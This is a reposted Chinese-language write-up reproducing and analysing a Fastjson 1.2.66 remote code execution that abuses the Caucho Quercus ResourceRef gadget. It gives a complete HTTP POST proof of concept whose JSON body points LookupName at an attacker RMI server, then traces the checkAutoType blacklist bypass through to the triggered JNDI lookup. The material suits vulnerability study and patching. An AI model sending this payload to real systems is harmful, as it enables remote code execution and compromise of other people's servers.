Fastjson 1.2.66 CauchoQuercus Rce 漏洞復現&利用


0x01 漏洞背景

fastjson<= 1.2.66

0x02 漏洞復現

poc:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115

{
	"@type":"com.caucho.config.types.ResourceRef",
	"LookupName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit"
}

image-20201119104603849

0x03 漏洞分析

在開啟AutoType之后,會先過白名單,若在白名單之中,則直接加載該類。若不在白名單,且不在黑名單中則加載該類,若在黑名單中則直接拋出異常。

發送poc

image-20201119105954707

解析

image-20201119113257148

checkAutoType進行類名檢查

image-20201119113334226

黑白名單檢查

image-20201119113458638

說白了就是,因為開啟了AutoTypeSupport之后,會進入黑白名單檢查,但這個類不在黑名單檢測當中所以在黑白名單之后加載該類。

image-20201119114426637

進入deserialize方法進行發序列化操作

image-20201119114530262

最終跟到setvalue

image-20201119114559230

前面的分析也講過,當fastjson進行反序列化時會調用該對象的set方法進行屬性賦值,調用get方法進行值的獲取。如本文中的poc是LookupName,所以會對應調用該類的setLookupName方法。

image-20201119115657088

最終在調用getValue獲取value屬性的時候,剛剛好觸發了lookup方法,且參數可控,為我們設置的LookupName的rmi鏈接

image-20201119115628923

從而造成了遠程命令執行。

0x04 參考

https://mp.weixin.qq.com/s/4JzPRolR0cELL5g9bWM_eA


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM